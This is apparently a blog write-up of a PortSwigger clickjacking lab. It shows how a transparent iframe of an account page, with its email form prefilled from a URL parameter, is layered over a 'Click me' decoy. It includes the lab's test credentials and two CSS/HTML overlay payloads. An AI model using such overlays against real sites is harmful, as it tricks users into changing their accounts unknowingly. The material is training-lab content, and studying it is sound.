Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Clickjacking with form input data prefilled from a URL parameter

Clickjacking with form input data prefilled from a URL parameter: This lab extends the basic clickjacking example in Lab: Basic clickjacking with CSRF token protection. The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button. To... • PortSwigger • Clickjacking

2022-11-220 tags

Clickjacking Lab – Prepopulated Form Exploit

This lab extends the basic clickjacking example in Lab: Basic clickjacking with CSRF token protection.


🎯 Lab Goal

The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button.

To solve the lab:

  1. Craft some HTML that frames the account page.
  2. Fool the user into updating their email address by clicking on a "Click me" decoy.

Credentials: wiener:peter


🔍 Initial Setup

The lab starts off with the target application structure:

Lab Screenshot


🛠️ Exploit Development

Initial Payload (My Attempt)

This payload worked locally but did not satisfy the specific requirements of the lab validator:

css
iframe {
    position: relative;
    width: 1000px;
    height: 700px;
    opacity: 0.1;
}
div {
    position: absolute;
    top: 470px;
    left: 80px;
    z-index: 1;
}
input {
    border-top-style: hidden;
    border-right-style: hidden;
    border-left-style: hidden;
    border-bottom-style: none;
    background-color: none;
}
form {
    background-color: none;
}
html
<button>Click me</button>

Final Payload (Lab Requirements)

The lab environment required adjustments to the z-index layering and element positioning to trigger the exploit successfully:

css
iframe {
    position: relative;
    width: 1000px;
    height: 700px;
    opacity: 0.1;
    z-index: 2;
}
div {
    position: absolute;
    top: 470px;
    left: 100px;
    z-index: 1;
}
html
<button>click me</button>

Applying these positioning adjustments resolved the alignment and allowed the lab to be solved successfully.

Navigate

In this post

  1. 01Clickjacking Lab – Prepopulated Form Exploit
  2. 02🎯 Lab Goal
  3. 03🔍 Initial Setup
  4. 04🛠️ Exploit Development
  5. 05Initial Payload (My Attempt)
  6. 06Final Payload (Lab Requirements)
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.